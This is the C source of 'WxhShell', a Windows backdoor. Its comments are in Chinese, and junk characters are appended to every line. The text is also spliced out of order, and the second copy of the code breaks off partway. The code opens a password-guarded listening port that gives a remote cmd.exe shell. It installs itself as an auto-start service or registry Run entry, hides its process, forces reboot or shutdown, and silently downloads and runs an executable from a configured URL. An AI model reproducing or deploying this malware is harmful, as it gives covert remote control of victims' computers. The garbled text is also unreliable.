    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]%2y`Jrl^W  
    if(Boot(SHUTDOWN)) =Cc]ugl7-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EC/=JlL`5  
    else { gvFs$X*^:  
    closesocket(wsh); hw({>cH\  
    ExitThread(0); uk9!rE"  
    } 7 -S?U~s  
    break; +z|@K=d#|  
    } 0.kC|  
  // 获取shell xnOd$]  
  case 's': { H7 "r^s]D  
    CmdShell(wsh); ^{Fo,7  
    closesocket(wsh); q.kDx_  
    ExitThread(0); %n^ugm0B  
    break; 5)C`W]JE  
  } 4MrUo9L$s  
  // 退出 Q9Vj8JO"{  
  case 'x': { W3gHz T?{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qVssw* GDB  
    CloseIt(wsh); HX{K5+  
    break; ye-[l7  
    } a+^,EY  
  // 离开 M%Zh{  
  case 'q': { }5AA}=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'Q"Mu  
    closesocket(wsh); uD\rmO{  
    WSACleanup(); a@ ^)?cH!z  
    exit(1); qr(t_qR&  
    break; AC*SmQ\>!  
        } cB)tf S4)  
  } J1w,;T\55  
  } C;?<WtH  
TBZhL  
  // 提示信息 XAN.Plk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %~:@}C%A  
} hC4 M}(XM  
  } yeam-8  
LrT? ]o  
  return; A;k#8&;  
} BOD!0CR5  
Yx&d\/9  
// shell模块句柄 D`fIw` _  
int CmdShell(SOCKET sock) W$<Y**y9m  
{ >)HKruSW.  
STARTUPINFO si; xiV!\Z}  
ZeroMemory(&si,sizeof(si)); 2UIZ<#|D>s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c axOxRo\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $pIo`F _W  
PROCESS_INFORMATION ProcessInfo; +6x}yc:yd  
char cmdline[]="cmd"; +,Or^p O=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dsOt(yNo  
  return 0; ?zf3AZ9  
} uPC(|U%  
>S8 n 8U  
// 自身启动模式 b4f3ef  
int StartFromService(void) -q(*)N5.2  
{ 9fWR8iV  
typedef struct h8 FV2"  
{ >2F9Tz,3  
  DWORD ExitStatus; +-T|ov<  
  DWORD PebBaseAddress; j`+{FCB7  
  DWORD AffinityMask; 9Wg;M#c2Y|  
  DWORD BasePriority; j'OXT<n*  
  ULONG UniqueProcessId; At'M? Q@v  
  ULONG InheritedFromUniqueProcessId; P4LiU2C  
}   PROCESS_BASIC_INFORMATION; 4|4 *rhwp  
e jR_3K^  
PROCNTQSIP NtQueryInformationProcess; 2PSkLS&IM  
fCZ"0P3(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,J=lHj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l;$FR4}d  
=q>lP+  
  HANDLE             hProcess; =:t<!dp  
  PROCESS_BASIC_INFORMATION pbi; noLr185  
}57Jn5&'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b|*+!v:I>T  
  if(NULL == hInst ) return 0; aPRMpY-YC3  
i/Nc)kKL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KE~.f(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2`rJr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); omznSL  
'V8o["P  
  if (!NtQueryInformationProcess) return 0; \qTp#sF  
^y%8_r&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JDW/Mc1bh  
  if(!hProcess) return 0; 1Y%lt5,*  
-0TI7 @  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HXX9D&c4R  
a^\ F9^j  
  CloseHandle(hProcess); Gm &jlN  
O.Y|},F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r;{ggwY&J  
if(hProcess==NULL) return 0; $Ld-lQsL  
2 6 >9$S  
HMODULE hMod; &gr  T@  
char procName[255]; Vk*XiEfKm>  
unsigned long cbNeeded; s>1\bio*I  
`GlOl-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !? H:?  
Anqt:(  
  CloseHandle(hProcess); 5j\Kej  
 E(wS6  
if(strstr(procName,"services")) return 1; // 以服务启动 K4o']{:U  
LK!sk5/  
  return 0; // 注册表启动 (pHJEY  
} 0d+b<J,  
_ nz^+  
// 主模块 @=2u;$.  
int StartWxhshell(LPSTR lpCmdLine) Hzc}NyJ  
{ }x& X vI  
  SOCKET wsl; }gFa9M<  
BOOL val=TRUE; b4EUr SL  
  int port=0; Y+kuj],h  
  struct sockaddr_in door; {U@"]{3Qx  
,\i,2<hz.  
  if(wscfg.ws_autoins) Install(); K9Onjs% U  
SL/'UoYm<  
port=atoi(lpCmdLine); .Wr7*J[V.  
 !VXy67  
if(port<=0) port=wscfg.ws_port; 2Dt^W.!  
bKsEXS  
  WSADATA data; `Y+ R9bd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J`C 2}$ ~  
(kyRx+gA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tOte[~,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u\/TR#b  
  door.sin_family = AF_INET; t:P7ah  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o( mA(h  
  door.sin_port = htons(port); *3OlWnZ?  
h?h)i>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q&O9W?E8dG  
closesocket(wsl); !)CY\c4}d>  
return 1; f3^qO9R  
} SUIu.4Mz  
O_GHvLO=  
  if(listen(wsl,2) == INVALID_SOCKET) { >wL!`:c'"  
closesocket(wsl); "=KFag  
return 1; ("{vbs$;  
} XiV K4sD8  
  Wxhshell(wsl); U3-MvI,Q  
  WSACleanup(); HRQfT>"/  
2^75|Q  
return 0; ~p:hqi1+<+  
pHye8v4fvi  
} M?;YpaSe+  
90,UhNz9D  
// 以NT服务方式启动 H3pZfdh?w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fp"c {  
{ 9b&;4Yq!f  
DWORD   status = 0; b$pCp`/MT  
  DWORD   specificError = 0xfffffff; /J Y6S  
1}SON4U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k_Sm ep  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7q 5 \]J[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?)-anoFyVW  
  serviceStatus.dwWin32ExitCode     = 0; ?' mP`9I  
  serviceStatus.dwServiceSpecificExitCode = 0; W5()A,R  
  serviceStatus.dwCheckPoint       = 0; f_;tFP B  
  serviceStatus.dwWaitHint       = 0; rf 60'   
{zc*yV\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0F6@aQ\y3  
  if (hServiceStatusHandle==0) return; |Q@(<'8=  
cVarvueS  
status = GetLastError(); O3d Qno  
  if (status!=NO_ERROR) Eh|6{LDn!  
{ 0r[a$p>`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W>c*\)Xk !  
    serviceStatus.dwCheckPoint       = 0; 7:=(yBG  
    serviceStatus.dwWaitHint       = 0; %F$ ]v  
    serviceStatus.dwWin32ExitCode     = status; h/y0Q~|/d  
    serviceStatus.dwServiceSpecificExitCode = specificError; {w,<igh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7|bBC+;(  
    return; YguW2R=6]  
  } FPZ@6  
@at*E%T[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uINEq{yo  
  serviceStatus.dwCheckPoint       = 0; 7Up-a^k^`  
  serviceStatus.dwWaitHint       = 0; iAPGP -<6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \{Je!#  
} Lm.N {NV'  
;*U&lT  
// 处理NT服务事件,比如:启动、停止 V`i(vC(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zs;c0T ">  
{ 7TU77  
switch(fdwControl) 9"/=D9o9  
{ ,6f6r  
case SERVICE_CONTROL_STOP: Se\iM s  
  serviceStatus.dwWin32ExitCode = 0; Q&@<?K9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y{@foIZ  
  serviceStatus.dwCheckPoint   = 0; pe).  
  serviceStatus.dwWaitHint     = 0; _j{)%%?r  
  { 1Mx2%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . S;o#Zw*R  
  } t:,lz8Y~  
  return; C.H(aX)7  
case SERVICE_CONTROL_PAUSE: *+2BZ ZwT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z^J)]UL/  
  break; d7x6r3J$  
case SERVICE_CONTROL_CONTINUE: [iyhrc:@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xk,1 D  
  break; RUut7[r  
case SERVICE_CONTROL_INTERROGATE: p_fsEY  
  break; LJ9#!r@H  
}; =+<DNW@%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wh"xt:  
} ~H[_=  
9I#a{%A:  
// 标准应用程序主函数 %+#l{\z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O`PQ4Q*F  
{ #"H<k(-Cz  
N>g6KgX{K  
// 获取操作系统版本 _0\wyjjU  
OsIsNt=GetOsVer(); eSW}H_3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3.=o}!  
`}}|QP5xG  
  // 从命令行安装 sebm  
  if(strpbrk(lpCmdLine,"iI")) Install(); &4M,)Q (  
dWo$5Bls<A  
  // 下载执行文件 f,3K;S-he:  
if(wscfg.ws_downexe) { 83'rQDo)G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a", 8N"'  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q(Pc  
} k>E/)9%ep2  
P8ns @VV  
if(!OsIsNt) { n2["Ln mO  
// 如果时win9x,隐藏进程并且设置为注册表启动 Np.<&`p!  
HideProc(); &s\/Uq  
StartWxhshell(lpCmdLine); q^QLNKOH"  
} h<WTN_i}  
else  xG'F  
  if(StartFromService()) y>r^ MQ  
  // 以服务方式启动 jq|fI P  
  StartServiceCtrlDispatcher(DispatchTable); JxRn)D  
else sd*NY  
  // 普通方式启动 : D !/.0  
  StartWxhshell(lpCmdLine); =trLL+vGw'  
fCv.$5  
return 0; -9s&OKo`({  
} H]M[2C7#N  
nQfSQMg  
ytfr'sr/  
9~l8QaK  
=========================================== xR&Le/3+  
1nE`Wmo.2  
"`[4(j  
=}F$r5]  
qx?0]!x  
e\*N Lj_(  
" S3c%</'  
/AUX7 m.8  
#include <stdio.h> ? 8S~R  
#include <string.h> TLz>|gr  
#include <windows.h> id1gK(F8H  
#include <winsock2.h> 'puiahA  
#include <winsvc.h> .bRDz:?j  
#include <urlmon.h> bHz H0v]:  
cNl$ vP83z  
#pragma comment (lib, "Ws2_32.lib") -e*(+  
#pragma comment (lib, "urlmon.lib") - KaU@t  
IBh?vh  
#define MAX_USER   100 // 最大客户端连接数 )hfI,9I~  
#define BUF_SOCK   200 // sock buffer  ` EVy  
#define KEY_BUFF   255 // 输入 buffer M-C>I;a  
#ePtfRzJ  
#define REBOOT     0   // 重启 A_5M\iN\  
#define SHUTDOWN   1   // 关机 ]Lm?3$u$  
( D@ U%  
#define DEF_PORT   5000 // 监听端口 _Oc\hW  
R^JtWjJR  
#define REG_LEN     16   // 注册表键长度 QY1|:(  
#define SVC_LEN     80   // NT服务名长度 "^VPe[lA  
1?".R]<{2T  
// 从dll定义API 14h0$7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qtS+01o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HQ/ Q"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G"*ch$:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YH0utc  
Ve[&_(fP  
// wxhshell配置信息 6>Is-/hsy  
struct WSCFG { 9aY}+hgb#  
  int ws_port;         // 监听端口 mGc i >)2  
  char ws_passstr[REG_LEN]; // 口令 9?+?V}o  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sfffm$H  
  char ws_regname[REG_LEN]; // 注册表键名 [nB4s+NX  
  char ws_svcname[REG_LEN]; // 服务名 @t3&#I}mc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )'$'?Fn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IoHYY:[-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -W1Apd%>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ()(/9t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U)qG]RI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p9*Ak U&]  
Q^oB`)k  
}; p+xjYU4^C  
e>b|13X  
// default Wxhshell configuration g6;a2  
struct WSCFG wscfg={DEF_PORT, s-T#-raE  
    "xuhuanlingzhe", W7q!F  
    1, o[ 4e_ @E  
    "Wxhshell", %OT?2-d  
    "Wxhshell", :qK^71gz  
            "WxhShell Service", zdN(r<m9"  
    "Wrsky Windows CmdShell Service", V7,;N@FL  
    "Please Input Your Password: ", Uk0 0lPG.U  
  1, ,V ) |A=ml  
  "http://www.wrsky.com/wxhshell.exe", N7dI}ju  
  "Wxhshell.exe" kaNK@a=e|/  
    }; rSNaflYAr  
RhSoD.Da  
// 消息定义模块 [?Vk wFD0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q,.@<sW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y| F~w~Cb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y86 mg7[U/  
char *msg_ws_ext="\n\rExit."; /"7_75 t  
char *msg_ws_end="\n\rQuit."; G`FY[^:  
char *msg_ws_boot="\n\rReboot..."; 4So ,m0v  
char *msg_ws_poff="\n\rShutdown..."; je5GZFQw  
char *msg_ws_down="\n\rSave to "; k6^!G"  
eq7>-Dmi@  
char *msg_ws_err="\n\rErr!"; M1e79p<  
char *msg_ws_ok="\n\rOK!"; hta y-  
{3|h^h_R  
char ExeFile[MAX_PATH]; T9-2"M=|<  
int nUser = 0; WXJ%hA  
HANDLE handles[MAX_USER]; ,qK3 3Bn  
int OsIsNt; Qjd<%!]+\  
/fC8jdp&  
SERVICE_STATUS       serviceStatus; qnTW?c9Z5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ag0)> PD^  
e c4vX  
// 函数声明 ~zL DLr=  
int Install(void); }"6 PM)s  
int Uninstall(void); xcE<|0N :  
int DownloadFile(char *sURL, SOCKET wsh); ^(T_rEp  
int Boot(int flag); o1thGttVDg  
void HideProc(void); WO$8j2!~#  
int GetOsVer(void); Ld 0j!II(  
int Wxhshell(SOCKET wsl); >0?ph<h1[q  
void TalkWithClient(void *cs); <5zr|BTF]F  
int CmdShell(SOCKET sock); ^UBzX;|p  
int StartFromService(void); %4})_h?j  
int StartWxhshell(LPSTR lpCmdLine); 6=96^o*  
Z/q'^PB p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B<ZCuVWH:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }\1V%c  
|h6, .#n  
// 数据结构和表定义 #Q BW%L  
SERVICE_TABLE_ENTRY DispatchTable[] = "n{JH9sA:  
{ JOyM#g9-?  
{wscfg.ws_svcname, NTServiceMain}, yq!peFu  
{NULL, NULL} &~'i,v|E  
}; 5 BeU/  
BZIU@^Q_Y[  
// 自我安装 &{q<  
int Install(void) 2InM(p7j~K  
{ H9Vn(A8&`  
  char svExeFile[MAX_PATH]; ExF6y#Y G<  
  HKEY key; js!C`]1  
  strcpy(svExeFile,ExeFile); aSI%!Vg.  
C3~O6<,Jh  
// 如果是win9x系统,修改注册表设为自启动 0IZF%`  
if(!OsIsNt) { :w)9 (5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [fY7|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wUL 5"\  
  RegCloseKey(key); +pQ3bX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `aA)n;{/2u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]YOWCFAQot  
  RegCloseKey(key); 4UND;I&  
  return 0; B~b ='jN  
    } !pHI`FeAV  
  } NC iB n>=:  
} 7~;)N$d\  
else { QZ[S, c^  
`fl$ o6S/  
// 如果是NT以上系统,安装为系统服务 c2L\m*^o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y qK*E*  
if (schSCManager!=0) \GKR(~f  
{ / %iS\R%ca  
  SC_HANDLE schService = CreateService "'/+}xM"5  
  ( tY:,9eh7B  
  schSCManager, +|x%a2?x:  
  wscfg.ws_svcname, b$- g"F  
  wscfg.ws_svcdisp, ='@ k>Ka+  
  SERVICE_ALL_ACCESS, JB=L{P J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?mN!9/DIc  
  SERVICE_AUTO_START, \tY7Ga%c  
  SERVICE_ERROR_NORMAL, L+eK)Q  
  svExeFile, |C5{[ z  
  NULL, `$FB[Z} &  
  NULL, 1QnaZhu'  
  NULL, S~&9DQNj  
  NULL, (:h&c6'S)b  
  NULL vZs~=nfi#|  
  ); o 9(x\g  
  if (schService!=0) @\M^Zuo  
  { ZI8@ 6L\  
  CloseServiceHandle(schService); lR mVeq:  
  CloseServiceHandle(schSCManager); (f~}5O<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4W<[& )7  
  strcat(svExeFile,wscfg.ws_svcname); :nfy=*M#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e2 g`T{6M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2izBB,# "  
  RegCloseKey(key); DF'~ #G8  
  return 0; Vr;>Im  
    } `LKf$cx(A  
  } BB ::zBg  
  CloseServiceHandle(schSCManager); 52^,qP'6  
} T)Q_dF.N  
} sGpAaGY>  
S,f#g?V  
return 1; f zL5C2d  
} UPPlm\wb*  
B}K<L\S  
// 自我卸载 %?F$3YN,  
int Uninstall(void) 3C'6i  
{ P m&^rC;  
  HKEY key; t**d{P+  
|`fuu2W!  
if(!OsIsNt) { I1s$\NZ~]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DJqJ6z:'  
  RegDeleteValue(key,wscfg.ws_regname); gA3f@7}d  
  RegCloseKey(key); {XD':2E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _'^_9u G  
  RegDeleteValue(key,wscfg.ws_regname); 1N5lI97j  
  RegCloseKey(key); (m=1yj9  
  return 0; '+'h^  
  } QjYw^[o  
} a=vH:D  
} d#W^S[[  
else { @RL'pKab9  
1Tev&J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BxZ7Bk  
if (schSCManager!=0) /x_AWnU  
{ e-1G\}E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yL -}E  
  if (schService!=0) >;VZB/ d  
  { tCPK_Wws?Z  
  if(DeleteService(schService)!=0) { 9}tl @  
  CloseServiceHandle(schService); 2U"2L^oKI  
  CloseServiceHandle(schSCManager); `0MQL@B  
  return 0; ,) aUp4*  
  } *O\lR-z!k  
  CloseServiceHandle(schService); |ZXz&Xor  
  } '$J M2 u  
  CloseServiceHandle(schSCManager); TmM~uc7mj  
} ={;+0Wjb8  
} L]&y[/\E1  
,WM-%2z^4I  
return 1; L {&=SR.  
} u,N<U t  
>hV 2p/D  
// 从指定url下载文件 0;`+e22  
int DownloadFile(char *sURL, SOCKET wsh) ; qr?[{G  
{ Ww#!-,*]o  
  HRESULT hr; 4x@W]*i  
char seps[]= "/"; y0/FyQs  
char *token; 9wO2`e )  
char *file; bD|VT  
char myURL[MAX_PATH]; .b^!f<j  
char myFILE[MAX_PATH]; BN FYUcVP  
o)DO[  
strcpy(myURL,sURL); '#.D`9YI<  
  token=strtok(myURL,seps); >J_ P[v  
  while(token!=NULL) V?p`rrj@  
  { W )Ps2  
    file=token; GhjqStjS&l  
  token=strtok(NULL,seps); IY mkZ?cW  
  } eV }H  
y=[{:  
GetCurrentDirectory(MAX_PATH,myFILE); v\?l+-A? y  
strcat(myFILE, "\\"); G|"m-.9F  
strcat(myFILE, file); N%1nii  
  send(wsh,myFILE,strlen(myFILE),0); !(Q@1 c&z  
send(wsh,"...",3,0); v-Q>I5D;:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IR;3{o  
  if(hr==S_OK) | qelvK*  
return 0; ]#G1 ]U  
else <E^;RG  
return 1; b^P\Q s*m  
_5$L`&  
} 2 &_>2"=<@  
t=s.w(3t  
// 系统电源模块 _Vt(Eg_\  
int Boot(int flag) ?U1Nm~'UZ  
{ ;lhW6;oI'  
  HANDLE hToken; P7l3ZH( g  
  TOKEN_PRIVILEGES tkp; (XFF}~>B.  
k72NXagh  
  if(OsIsNt) { \$F#bIjC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /~c9'38  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4%JJ} {Ff  
    tkp.PrivilegeCount = 1; 141xi;o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E]r<t#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BqdpJIr  
if(flag==REBOOT) { 2:e7'}\D.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R4$(NNC+/  
  return 0; 'R42N3|F  
} |_ U!i  
else { t"e%'dFv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]6O(r)k  
  return 0; av:%wJUl,$  
} 6Lg#co}9  
  } a( N;| <  
  else { [ <k&]Kv  
if(flag==REBOOT) { y6MkaHW[m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Q;:nVt  
  return 0; =5YbK1Q^  
} '0&HkM{ D  
else { /ZH*t\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wu b7w#  
  return 0; N$.ls48a4-  
} B8!$?1*^a  
} iQLP~Z>,T  
s*eM}d.p  
return 1; Q7/Jyx|  
} Y/pK  
Rd5pLrr[0)  
// win9x进程隐藏模块 Ay%]l| Gm  
void HideProc(void) z=8l@&hYLq  
{ niYD[Ra\xP  
8p1:dTI5Pb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,JPDPI/a  
  if ( hKernel != NULL ) 'A1y~x#2B  
  { O<dCvH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m"AyO"}I5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 57;( P  
    FreeLibrary(hKernel); Q trU_c2k  
  } ??++0<75  
^W^Y"0y9`  
return; q 1u_r  
} 7ks!0``  
z: )*Aobwv  
// 获取操作系统版本 .cmhi3o4  
int GetOsVer(void) vSH-hAk  
{ fQ_tXY  
  OSVERSIONINFO winfo; N~S#( .}[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oDG BC  
  GetVersionEx(&winfo); <Oy2 JjY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tlI]);iE,  
  return 1; !!Yf>0u#  
  else pNu?DF{ 3  
  return 0; V warU(*  
} :z|$K^)7Z  
7&L8zl|K  
// 客户端句柄模块 cwQ *P$n  
int Wxhshell(SOCKET wsl) @]EdUzzKq  
{ UyF;sw  
  SOCKET wsh; tM;+U  
  struct sockaddr_in client; ogya~/  
  DWORD myID; zXwdU5 8  
I6S>*V  
  while(nUser<MAX_USER) >F/E,U ]  
{ v)*eLX$  
  int nSize=sizeof(client); /u"Iq8QA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jr>Nc}!U  
  if(wsh==INVALID_SOCKET) return 1; 4%<D\#  
c5[ ~2e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cn9=wm\\  
if(handles[nUser]==0) Cth<xn(Q  
  closesocket(wsh); |(Xxi  
else bW3Ah?0N  
  nUser++; Z_T~2t  
  } B5;94YIN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o+S?j*mv@  
X{h[    
  return 0; $! g~pV  
} :"+3Uk2  
;;EFiaA  
// 关闭 socket #vPk XcP  
void CloseIt(SOCKET wsh) |%(qaPA1  
{ mDWRYIuN  
closesocket(wsh); .e5rKkkT  
nUser--; \@_?mL@=  
ExitThread(0); 2nSz0 .  
} 5ai$W`6  
g_"B:DR  
// 客户端请求句柄 }</"~Kw!  
void TalkWithClient(void *cs) 8BnsYy)j  
{ ;9uDV -"  
48 mTL+*  
  SOCKET wsh=(SOCKET)cs; h>/L4j*Z  
  char pwd[SVC_LEN]; }jNVR#D:  
  char cmd[KEY_BUFF]; *uF Iw}C/  
char chr[1]; . B6mvb\  
int i,j; ^3Z~RK\}  
[Lf8*U"  
  while (nUser < MAX_USER) { _wZr`E)  
Lcs?2c:%  
if(wscfg.ws_passstr) { o~VZ%B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \YH*x`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _^F%$K6  
  //ZeroMemory(pwd,KEY_BUFF); ;]%Syrzp  
      i=0; 08nA}+k  
  while(i<SVC_LEN) { QU@CPME  
: )k|Onz  
  // 设置超时 2:6lr4{uY  
  fd_set FdRead; U H6 Jvt  
  struct timeval TimeOut; tLGNYW!K  
  FD_ZERO(&FdRead); tSunO-\y  
  FD_SET(wsh,&FdRead); j|y"Lcq  
  TimeOut.tv_sec=8; VQ4rEO=t  
  TimeOut.tv_usec=0; z*/}rk4i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eXtlqU$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rmhL|! Y  
:j;_Xw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oX6()FR  
  pwd=chr[0]; q>VvXUyK,  
  if(chr[0]==0xd || chr[0]==0xa) { *Di ;Gf@  
  pwd=0; ~*RBMHs  
  break; )`<7qT_BM  
  } ^FK-e;J  
  i++; ZJ |&t  
    } o@r~KFIe  
!JPZ7_nn  
  // 如果是非法用户,关闭 socket JE[J}-2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j`k :)  
} _z& H O  
B..> *Xb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ++d[YhO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Opf^#6'mq  
~@'DYZb- H  
while(1) { ZrDr/Q~  
Ny 7vId  
  ZeroMemory(cmd,KEY_BUFF); e `IL7$  
s"0Hz"[^=  
      // 自动支持客户端 telnet标准   v c b}Gk  
  j=0; 6Vy4]jdT5  
  while(j<KEY_BUFF) { .\|}5J9W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gqACIXR  
  cmd[j]=chr[0]; a O(&<  
  if(chr[0]==0xa || chr[0]==0xd) { Zs}EGC~&  
  cmd[j]=0; -|/*S]6kK  
  break; ]0myoWpi3  
  } Cg%}=  
  j++; &uG@I=}TIY  
    } _t\)W(E&  
(^LR9 CW  
  // 下载文件 hE}y/A[  
  if(strstr(cmd,"http://")) { 5s1XO*s)>X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &,iPI2`O A  
  if(DownloadFile(cmd,wsh)) ,\0>d}eh !  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @z7$1pl}  
  else fZrB!\Q  
